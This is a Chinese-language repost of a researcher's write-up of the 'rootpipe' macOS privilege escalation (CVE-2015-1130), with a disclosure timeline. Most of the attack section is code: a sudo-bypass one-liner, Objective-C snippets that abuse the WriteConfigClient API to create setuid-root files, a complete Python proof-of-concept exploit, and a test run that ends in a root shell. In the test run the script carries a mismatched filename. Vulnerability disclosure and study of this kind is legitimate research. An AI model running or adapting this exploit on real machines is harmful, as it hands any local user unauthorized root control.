大数跨境

Apple OS X系统中存在可以提升root权限的API后门

Apple OS X系统中存在可以提升root权限的API后门 云探索网络
2019-03-27
0
导读:Apple OS X系统中的Admin框架存在可以提升root权限的API后门,并且已经存在多年(至少是从2

Apple OS X系统中的Admin框架存在可以提升root权限的API后门,并且已经存在多年(至少是从2011年开始)。我是在2014年的10月发现他可以被用来已任何用户权限提升为root权限,其本意可能是要服务“System Preferences”和systemsetup(命令行工具),但是所有的用户进程可以使用相同的功能。

苹果刚刚发布了OS X 10.10.3解决了此问题,但是OS X 10.9.x以及之前的版本存在此问题,因为苹果决定不对这些版本进行修复了。我们建议所有的用户都升级到10.10.3。

0x01 demo

我使用的第一个exp是基于CVE-2013-1775的,一个sudo认证绕过bug,这个bug已经在10.8.5(2013年9月)修复了。

exp代码非常的简单:

 
 
 
  1. $ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su

我跟我同事Philip ?kesson聊这个exp代码实际上使用了systemsetup来修改系统时间。我们一起来看了下他修复的细节,原来除了修复了sudo,Apple也同时做了另外一件事情,他们把systemsetup设置为需要root权限,当以非root权限执行systemsetup的时候,下面的信息就会显示(在10.8.5以及之后版本):

 
 
 
  1. $ systemsetup

  2. You need administrator access to run this tool... exiting!

OK,所以systemsetup二进制文件只是简单的检查了是否是root权限。

修改了一下函数(用setne替代sete):取得了成功

 
 
 
  1. $ systemsetup

  2. > systemsetup

  3. > type -help for help.

这将在22端口上开启ssh服务,当然你也可以通过launchtl开启,但是launchtl需要root权限。所以这在权限上还是有很明显的区别的。到目前为止,我们只是回到之前的systemsetup(10.8.5之前),你可以用systemsetup执行命令的一个例子:

 
 
 
  1. $ systemsetup setremotelogin on

类名为RemoteServerSettings表明,有某种进程间通信可以解释为什么需要root操作执行。不过还是要提一下,通过System Preferences开启SSH服务也不需要root权限。

我发现这种权限的差异非常有趣,继续反编译systemsetup。

通过一个名字叫做[ServerSettings setRemoteLogin:]的方法实现了systemsetup中的setremotelogin命令。

函数做了一些输入检查,然后调用[InternetServices setSSHServerEnabled:],这是在Admin框架中实现。反编译Admin框架可以看到setSSHServerEnabled并不是InternetServices接口的唯一方法,清单如下:

 
 
 
  1. +[InternetServices sharedInternetServices]

  2. +[InternetServices sharedInternetServices].sSharedInternetServices

  3. -[InternetServices _netFSServerFrameworkBundle]

  4. -[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle

  5. -[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce

  6. -[InternetServices faxReceiveEnabled]

  7. -[InternetServices ftpServerEnabled]

  8. -[InternetServices httpdEnabled]

  9. -[InternetServices isFTPServerAvailable]

  10. -[InternetServices isFaxReceiveAvailable]

  11. -[InternetServices isGuestForProtocolEnabled:]

  12. -[InternetServices isHttpdAvailable]

  13. -[InternetServices isNSCProtocolAvailable:]

  14. -[InternetServices isNSCProtocolEnabled:]

  15. -[InternetServices isNSServerShuttingDown:]

  16. -[InternetServices isOpticalDiscSharingEnabled]

  17. -[InternetServices isRemoteAEServerAvailable]

  18. -[InternetServices isSSHServerAvailable]

  19. -[InternetServices nscServerCancelShutdown:refNum:]

  20. -[InternetServices nscServerShutdown:withDelay:]

  21. -[InternetServices numberOfClientsForProtocols:]

  22. -[InternetServices remoteAEServerEnabled]

  23. -[InternetServices saveNatPrefs:]

  24. -[InternetServices screensharingEnabled]

  25. -[InternetServices sendSIGHUPToEfax]

  26. -[InternetServices setFTPServerEnabled:]

  27. -[InternetServices setFaxReceiveEnabled:]

  28. -[InternetServices setGuestForProtocol:enabled:]

  29. -[InternetServices setHttpdEnabled:]

  30. -[InternetServices setInetDServiceEnabled:enabled:]

  31. -[InternetServices setNSCProtocols:enabled:]

  32. -[InternetServices setOpticalDiscSharingEnabled:]

  33. -[InternetServices setRemoteAEServerEnabled:]

  34. -[InternetServices setSSHServerEnabled:]

  35. -[InternetServices setScreensharingEnabled:]

  36. -[InternetServices sshServerEnabled]

  37. _OBJC_CLASS_$_InternetServices

  38. _OBJC_METACLASS_$_InternetServices

  39. ___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke

代码看来是为guest账户创建一个用户特定的Apache配置文件,注意root用户是这个文件的拥有者:

 
 
 
  1. $ ls -/etc/apache2/users/

  2. total 8

  3. -rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf

0x02 发现后门

上面截图的代码中最后一个被调用的Objective-C方法是createFileWithContents:path:attributes:

他获取一个组数组包括字节数,文件路径,文件属性。

自己代码中使用这个函数是这个样子的:

 
 
 
  1. [tool createFileWithContents:data

  2.                         path:[NSString stringWithUTF8String:target]

  3.                   attributes:@{ NSFilePosixPermissions : @0777 }];

问题在于我们如何控制“tool”,再看一看开始的代码截图:

 
 
 
  1. id sharedClient =

  2.     [objc_lookUpClass("WriteConfigClient") sharedClient];

  3. id tool = [sharedClient remoteProxy];

看起来[SFAuthorization authorization]可以来做触发,下面是我的新的exp:

 
 
 
  1. id auth = [objc_lookUpClass("SFAuthorization") authorization];

  2. id sharedClient =

  3.     [objc_lookUpClass("WriteConfigClient") sharedClient];

  4. [sharedClient authenticateUsingAuthorizationSync: auth];

  5. id tool = [sharedClient remoteProxy];

  6. [tool createFileWithContents:data

  7.                         path:[NSString stringWithUTF8String:target]

  8.                   attributes:@{ NSFilePosixPermissions : @04777 }];

文件最终创建,setuid已经设置:

 
 
 
  1. -rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp

上面的代码适用于10.9及以后版本,10.7.x和10.8.x有些类文件名略不相同。既然setuid已经设置并且拥有者是root,我们就有有了一个提权漏洞。

但是上面的代码仍然有一个问题,只可以在admin的权限下运行,之前提到过几乎所有的OS X用户都是admin。

最终找到一个适用所有用户使用的方法,很简单,只要把[SFAuthorization authorization]:的结果替换为发送nil到authenticateUsingAuthorizationSync。

 
 
 
  1. [sharedClient authenticateUsingAuthorizationSync: nil];

0x03 Timeline

 
 
 
  1. Oct 2nd 2014: First discovery

  2. Oct 3rd 2014: First contact with Apple Product Security Team

  3. Oct 14th 2014: Exploit code shared with Apple

  4. Oct 24th 2014: Initial full disclosure date set to Jan 12th 2015

  5. Oct 16th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe

  6. Nov 14th 2014: Apple requested to postpone disclosure

  7. Nov 17th 2014: Release of OS X 10.10.1, also vulnerable

  8. Jan 12th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X

  9. Jan 16th 2015: CVE-2015-1130 created by Apple

  10. Jan 27th 2015: Release of OS X 10.10.2, also vulnerable

  11. March 2nd 2015: Release of OS X 10.10.3 public beta, issue solved

  12. April 1st 2015: Apple confirmed that release is coming the second week of April

  13. April 8th 2015: Release of OS X 10.10.3

  14. April 9th 2015: Full disclosure

0x04 EXP

 
 
 
  1. ########################################################

  2. #

  3. #  PoC exploit code for rootpipe (CVE-2015-1130)

  4. #

  5. #  Created by Emil Kvarnhammar, TrueSec

  6. #

  7. #  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2

  8. #

  9. ########################################################

  10. import os

  11. import sys

  12. import platform

  13. import re

  14. import ctypes

  15. import objc

  16. import sys

  17. from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions

  18. from Foundation import NSAutoreleasePool

  19.  

  20. def load_lib(append_path):

  21.     return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

  22.  

  23. def use_old_api():

  24.     return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])

  25.  

  26.  

  27. args = sys.argv

  28.  

  29. if len(args) != 3:

  30.     print "usage: exploit.py source_binary dest_binary_as_root"

  31.     sys.exit(-1)

  32.  

  33. source_binary = args[1]

  34. dest_binary = os.path.realpath(args[2])

  35.  

  36. if not os.path.exists(source_binary):

  37.     raise Exception("file does not exist!")

  38.  

  39. pool = NSAutoreleasePool.alloc().init()

  40.  

  41. attr = NSMutableDictionary.alloc().init()

  42. attr.setValue_forKey_(04777, NSFilePosixPermissions)

  43. data = NSData.alloc().initWithContentsOfFile_(source_binary)

  44.  

  45. print "will write file", dest_binary

  46.  

  47. if use_old_api():

  48.     adm_lib = load_lib("/Admin.framework/Admin")

  49.     Authenticator = objc.lookUpClass("Authenticator")

  50.     ToolLiaison = objc.lookUpClass("ToolLiaison")

  51.     SFAuthorization = objc.lookUpClass("SFAuthorization")

  52.  

  53.     authent = Authenticator.sharedAuthenticator()

  54.     authref = SFAuthorization.authorization()

  55.  

  56.     # authref with value nil is not accepted on OS X <= 10.8

  57.     authent.authenticateUsingAuthorizationSync_(authref)

  58.     st = ToolLiaison.sharedToolLiaison()

  59.     tool = st.tool()

  60.     tool.createFileWithContents_path_attributes_(data, dest_binary, attr)

  61. else:

  62.     adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")

  63.     WriteConfigClient = objc.lookUpClass("WriteConfigClient")

  64.     client = WriteConfigClient.sharedClient()

  65.     client.authenticateUsingAuthorizationSync_(None)

  66.     tool = client.remoteProxy()

  67.  

  68.     tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)

  69.  

  70.  

  71. print "Done!"

  72.  

  73. del pool

0x05 测试

 
 
 
  1. [test@test:~]$ cp /bin/bash bashceshi 

  2. [test@test:~]$ python CVE-2013-1775.py bashceshi bashroot

  3. will write file /Users/test/Downloads/bashroot

  4. Done! 

  5. [test@test:~]./bashroot -p

  6. bashroot-3.2# id

  7. uid=501(test) gid=20(staff) euid=0(root) groups=20(staff),501(access

这篇日志的 t.cn 短域名为:http://t.cn/RcWaf9L

文章转自与华盟网

【声明】内容源于网络
0
0
云探索网络
网络技术探索研究
内容 1075
粉丝 0
云探索网络 网络技术探索研究
总阅读14
粉丝0
内容1.1k